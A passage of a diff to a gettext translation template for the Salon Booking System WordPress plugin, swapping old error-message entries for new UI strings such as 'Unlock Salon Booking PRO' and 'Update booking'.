build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19\n-msgid \"User updated\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:290\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:290\n+msgid \"Unlock capacity utilization and peak time insights\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:8\n-msgid \"Not authorized\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:479\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:479\n+msgid \"Unlock customer lifetime value and frequency insights\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15\n-msgid \"Invalid request\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:499\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:499\n+msgid \"Unlock customer lifetime value distribution analysis\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45\n-msgid \"Set rating and comment\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:358\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:358\n+msgid \"Unlock no-show tracking and analytics\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:23\n-msgid \"File upload error occurred.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:214\n+msgid \"Unlock Payments with Salon Booking PRO\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:124\n+msgid \"Unlock Salon Booking PRO\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:41\n+msgid \"\"\n+\"Unlock the calendar, customers, and full booking details in this app with \"\n+\"PRO.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:35\n-msgid \"Invalid file type. Please upload a valid file.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:194\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:194\n+msgid \"unlock this feature\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:47\n-msgid \"File size exceeds maximum allowed size of 10MB.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:441\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:441\n+msgid \"unlock this feature for\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:40\n-msgid \"IP1SMS API Key is not configured. Please add your API key in SMS Settings.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:16\n+msgid \"Unlock this feature today for a special price.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:47\n-msgid \"IP1SMS Sender ID is not configured. Please add your sender ID in SMS Settings.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:287\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:287\n+msgid \"Unpaid reservations\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:103, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:103, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:103\n-msgid \"IP1SMS API Request Failed: %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:204\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:204\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:221\n+msgid \"Until\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:142\n-msgid \"IP1SMS API Error (HTTP %d)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1117\n+msgid \"until\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:177\n-msgid \"Invalid API key. Please check your API key in SMS Settings.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:31\n+msgid \"Upcoming\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:33\n+msgid \"Upcoming bookings\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:387\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:387\n+msgid \"Update\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:743\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:869\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:743\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:869\n+msgid \"Update booking\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:180, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:180, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:180\n-msgid \"Access denied. Please check your API key permissions.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67\n+msgid \"Update completed with success\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:183, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:183, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:183\n-msgid \"Endpoint not found. The API may have been updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:109\n+msgid \"Update customer\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:186\n-msgid \"Invalid request data. Please check your sender ID is registered.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_profile.php:93\n+msgid \"Update Profile\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:189, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:189, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:189\n-msgid \"Too many requests. Please try again later.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78\n+msgid \"Update reset with success\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:194, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:194, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:194\n-msgid \"IP1SMS service temporarily unavailable. Please try again later.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:45\n+msgid \"Update Service Category\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:225, 